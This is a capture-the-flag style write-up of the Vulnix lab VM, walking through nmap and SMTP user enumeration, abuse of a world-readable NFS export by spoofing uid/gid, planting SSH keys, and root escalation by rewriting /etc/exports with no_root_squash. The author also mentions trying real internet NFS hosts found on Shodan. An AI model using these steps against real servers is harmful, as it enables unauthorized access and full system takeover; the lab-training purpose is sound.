[Write-up] Vulnix – playing around with NFS

I managed to find the time to play on a new vulnerable VM. This time, it will be Vulnix and will mainly be around exploiting vulnerable NFS shares. The VM was overall quite simple, but still learned me several things about NFS and how it plays with remote permissions.

Information gathering

As always, let’s start by a nmap scan (truncated for clarity).

root@kali:~# nmap -v -sS -A -T4

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-04-04 05:34 EDT
Discovered open port 110/tcp on
Discovered open port 995/tcp on
Discovered open port 22/tcp on
Discovered open port 993/tcp on
Discovered open port 143/tcp on
Discovered open port 111/tcp on
Discovered open port 25/tcp on
Discovered open port 513/tcp on
Discovered open port 512/tcp on
Discovered open port 514/tcp on
Discovered open port 2049/tcp on
Discovered open port 79/tcp on
22/tcp   open  ssh      OpenSSH 5.9p1 Debian 5ubuntu1 (Ubuntu Linux; protocol 2.0)
25/tcp   open  smtp     Postfix smtpd
79/tcp   open  finger   Linux fingerd
|_finger: No one logged on.
110/tcp  open  pop3     Dovecot pop3d
111/tcp  open  rpcbind  2-4 (RPC #100000)
| rpcinfo: 
|   program version   port/proto  service
|   100000  2,3,4        111/tcp  rpcbind
|   100000  2,3,4        111/udp  rpcbind
|   100003  2,3,4       2049/tcp  nfs
|   100003  2,3,4       2049/udp  nfs
|   100005  1,2,3      57467/udp  mountd
|   100005  1,2,3      60613/tcp  mountd
|   100021  1,3,4      39226/udp  nlockmgr
|   100021  1,3,4      50132/tcp  nlockmgr
|   100024  1          45015/tcp  status
|   100024  1          60188/udp  status
|   100227  2,3         2049/tcp  nfs_acl
|_  100227  2,3         2049/udp  nfs_acl
143/tcp  open  imap     Dovecot imapd
512/tcp  open  exec     netkit-rsh rexecd
513/tcp  open  login
514/tcp  open  shell    Netkit rshd
993/tcp  open  ssl/imap Dovecot imapd
2049/tcp open  nfs_acl  2-3 (RPC #100227)

Several services seem to be running.


A SMTP server is running on port 25. We can use it to enumerate some of the users that are present on the server using smtp-user-enum:

root@kali:~# smtp-user-enum -M VRFY -U /usr/share/wordlists/dirb/common.txt -t
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

######## Scan started at Wed Apr  5 16:24:08 2017 ######### backup exists bin exists daemon exists games exists irc exists list exists lp exists mail exists man exists news exists nobody exists proxy exists root exists sync exists sys exists user exists
######## Scan completed at Wed Apr  5 16:24:14 2017 #########
19 results.

4614 queries in 6 seconds (769.0 queries / sec)

Nothing very useful here. However, we can use the same tool to see that the user vulnix exists on the machine.

root@kali:~# smtp-user-enum -M VRFY -u vulnix -t
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )

######## Scan started at Wed Apr  5 16:37:26 2017 #########
vm: vulnix exists
######## Scan completed at Wed Apr  5 16:37:26 2017 #########
1 results.

1 queries in 1 seconds (1.0 queries / sec)


The server seems to be running  a NFS service. We can list the exposed NFS shares.

root@kali:~# showmount -e
Export list for
/home/vulnix *

Awesome, a publicly accessible NFS share! 🙂

Gaining access

We start by attempting to mount locally the remote NFS share.

root@kali:~# mkdir vulnix
root@kali:~# mount -t nfs ~/vulnix

The share mounts correctly, but unfortunately we can’t access it.

root@kali:~# ls vulnix
ls: cannot open directory 'vulnix': Permission denied

Let’s take a closer look at the permissions.

root@kali:~# ls -ld vulnix
drwxr-x--- 4 nobody 4294967294 4096 Apr  5 15:16 vulnix
root@kali:~# stat vulnix
  File: 'vulnix'
  Size: 4096      	Blocks: 8          IO Block: 32768  directory
Device: 30h/48d	Inode: 32917       Links: 4
Access: (0750/drwxr-x---)  Uid: (65534/  nobody)   Gid: (4294967294/ UNKNOWN)

The share seems to be owned by uid 65534 and gid 4294967294. The way NFS works with permissions is the following: to access a locally mounted share, your uid and gid need to match the ones of the shared directory on the server. Yep, that’s all.

Unfortunately, for “security” reasons, NFS 4 doesn’t show the real remote uid and gid, but the ones corresponding to the nobody user and group. However, NFS 3 does show the real remote uid and gid of the share owner. Since this machine supports NFS 3, we can simply instruct mount to use this version of the NFS protocol.

root@kali:~# mount -t nfs -o vers=3 ~/vulnix
root@kali:~# ls -ld vulnix
drwxr-x--- 4 2008 2008 4096 Apr  5 15:16 vulnix

Now we can clearly see that the share is owned by a remote user with uid and gid 2008. We can create an user and a group matching these criteria, and have it access the mounted directory.

root@kali:~# groupadd --gid 2008 vulnix_group
root@kali:~# useradd --uid 2008 --groups vulnix_group vulnix_user
root@kali:~# sudo -u vulnix_user ls -l vulnix
. .. .bash_logout .bashrc .profile

Looks good! Another solution would have been to use NfSpy, which essentially automates this process (but spoofs the uid and gid instead of actually creating an user).

root@kali:~# nfspy -o server=,nfsport=2049/tcp,rw vulnix
root@kali:~# ls -a vulnix
.  ..  .bash_logout  .bashrc  .profile

Now that we have access to the vulnix user’s home directory, we can add our SSH public key in its authorized_keys file.

root@kali:~# mkdir vulnix/.ssh
root@kali:~# cp ~/.ssh/id_rsa.pub vulnix/.ssh/authorized_keys

… and SSH on the machine.

root@kali:~# ssh vulnix@
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)
Last login: Wed Apr 5 19:53:39 2017 from

vulnix@vulnix:~$ id
uid=2008(vulnix) gid=2008(vulnix) groups=2008(vulnix)

Here we go, we have a shell!

Privilege escalation

At this point, I took a bit of time to enumerate the files and services present on the machine.

The first thing I noticed was that the version of sudo installed was 1.8.3p1, which seems to be vulnerable to CVE-2012-0809. I spent a few hours trying to exploit it using a variation of this exploit before giving up. I believe the fact that the env_reset sudo option is enabled protects from this vulnerability.

The next interesting thing was the output of sudo -l :

vulnix@vulnix:~$ sudo -l
Matching 'Defaults' entries for vulnix on this host:
    env_reset, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User vulnix may run the following commands on this host:
    (root) sudoedit /etc/exports, (root) NOPASSWD: sudoedit /etc/exports

The last line means that the user vulnix is allowed to edit the file /etc/exports, which contains the definitions of the NFS shares.

vulnix@vulnix:~$ cat /etc/exports
/home/vulnix	*(rw,root_squash)

Let’s try to add a NFS share on / :

/		*(rw,no_root_squash)

One issue appears at this point: in order to take the NFS changes into account, ones has to restart the NFS service or to run exportfs -a. Both are privileged commands that can only be run as root. I figured out that restarting the machine would work as well, but shutdown, poweroff & cie are also privileged commands.

I tried to find a way to have the system reboot by crashing it but didn’t manage to. Eventually I ended up rebooting the machine via VirtualBox, which does seem like cheating to me but is the solution given in the VM’s author walk through… I’m not a big fan of that as it doesn’t reflect what you’d have in the real world.

Anyway, after having restarted the machine, we can see the new NFS share:

root@kali:~# showmount -e
Export list for
/            *
/home/vulnix *

We can mount it just like before:

root@kali:~# mkdir vulnix_root
root@kali:~# nfspy -o server=,nfsport=2049/tcp,rw ~/vulnix_root
root@kali:~# ls vulnix_root
bin   dev  home        lib         media  opt   root  sbin     srv  tmp  var
boot  etc  initrd.img  lost+found  mnt    proc  run   selinux  sys  usr  vmlinuz

Add our SSH key to the root user’s authorized_keys

root@kali:~# mkdir vulnix_root/root/.ssh
root@kali:~# cp ~/.ssh/id_rsa.pub vulnix_root/root/.ssh/authorized_keys

… and connect via SSH!

root@kali:~# ssh root@
Welcome to Ubuntu 12.04.1 LTS (GNU/Linux 3.2.0-29-generic-pae i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Wed Apr  5 22:55:08 BST 2017

  System load:  0.0              Processes:           93
  Usage of /:   91.1% of 773MB   Users logged in:     0
  Memory usage: 4%               IP address for eth0:
  Swap usage:   0%

  => / is using 91.1% of 773MB

  Graph this data and manage this system at https://landscape.canonical.com/

Last login: Wed Apr  5 22:54:02 2017 from
root@vulnix:~# id
uid=0(root) gid=0(root) groups=0(root)

leading us to the flag!

root@vulnix:~# ls /root 
root@vulnix:~# cat /root/trophy.txt 

which, by the way, is the MD5 hash of Reb00tu53r. 🙂


This VM taught me several interesting things about NFS and the way it deals with permissions. It’s also interesting to see that Shodan lists more than 140’000 machines having a publicly available NFS service running. Out of a few ones I tried, several also had public available shares. Quite scary, isn’t it?

Thanks for reading!

Leave a Reply

Your email address will not be published. Required fields are marked *